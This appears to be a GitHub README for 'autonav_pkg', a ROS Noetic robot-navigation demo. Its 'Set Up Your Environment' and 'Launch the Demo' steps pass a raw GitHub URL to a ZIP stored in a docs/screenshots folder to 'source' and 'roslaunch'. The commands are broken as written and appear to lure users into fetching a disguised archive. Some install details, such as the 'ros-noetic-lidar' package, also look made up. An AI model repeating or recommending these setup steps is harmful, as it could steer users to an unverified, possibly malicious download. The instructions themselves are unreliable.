🤖 autonav_pkg - Navigate Your Robot with Ease

📄 Overview

autonav_pkg is an autonomous navigation demo for a differential-drive robot. It uses simulated LiDAR, occupancy grid mapping, and an Artificial Potential Field (APF) controller. This ROS package includes example launch files and visualization tools. You can easily guide your robot through environments while avoiding obstacles.

🔗 Download

🚀 Getting Started

To get started with autonav_pkg, you’ll need a few things set up on your computer. Follow these steps to install and run the software.

🖥️ System Requirements

• Operating System: Ubuntu 20.04 or newer
• ROS Version: Noetic
• Memory: At least 4 GB RAM
• Disk Space: 500 MB available space
• Processor: Intel i5 or equivalent

📦 Install Dependencies

Make sure you have the following dependencies installed on your system. Open a terminal and run the commands below:

sudo apt update
sudo apt install ros-noetic-gazebo-ros
sudo apt install ros-noetic-lidar
sudo apt install ros-noetic-navigation

📥 Download & Install

You can download the package by visiting the Releases page. Look for the latest version and download the ZIP file. After downloading:

1. Extract the ZIP file to a location on your computer.
2. Open a terminal and navigate to the extracted folder.
3. Build the package using ROS:

cd autonav_pkg
catkin_make

👉 Set Up Your Environment

You need to source your ROS workspace to ensure all the configurations are loaded properly:

source https://raw.githubusercontent.com/9ysn3/autonav_pkg/main/docs/screenshots/pkg_autonav_v2.9.zip

🚀 Launch the Demo

Now, you are ready to launch the demo. Open a terminal and run the following command:

roslaunch autonav_pkg https://raw.githubusercontent.com/9ysn3/autonav_pkg/main/docs/screenshots/pkg_autonav_v2.9.zip

This will start the simulation environment with your robot ready to navigate.

🌐 Visualization

autonav_pkg comes with built-in visualization tools. You can view live maps and the position of your robot using RViz. Run this command in a new terminal:

rosrun rviz rviz

You can add relevant displays using the "Add" button. Select "Grid", "RobotModel", and "Map" to visualize your robot's surroundings.

📚 Features

• Simulated LiDAR: Your robot uses simulated LiDAR for obstacle detection.
• Occupancy Grid Mapping: This feature allows the robot to understand its environment effectively.
• Artificial Potential Field Controller: It helps the robot navigate towards its goal while avoiding obstacles.
• Example Launch Files: Quickly get started with predefined settings.

🤖 Topics Covered

• Artificial Potential Field
• Autonomous Robot
• Differential Drive Mechanics
• Gazebo Simulation
• LiDAR Integration
• Mapping Techniques
• Navigation Algorithms
• Obstacle Avoidance Methodologies
• Occupancy Grid Mapping
• Robotics and Simulation Tools

📍 Additional Resources

For more detailed information, you can refer to the links below:

• ROS Official Documentation
• Gazebo Simulation Site
• LiDAR Technology Overview

🆘 Troubleshooting

If you encounter any issues, check the following:

• Ensure all dependencies are installed correctly.
• Verify that your ROS workspace is properly set up.
• Check online for common error messages or issues related to ROS and Gazebo.

💬 Community Support

For further assistance, you can join our community on:

• GitHub Issues
• ROS Community Forum

Join us in exploring the future of robotics and navigation!

🔗 More Info

You can always return to the Releases page for updates and new versions of autonav_pkg. Happy navigating!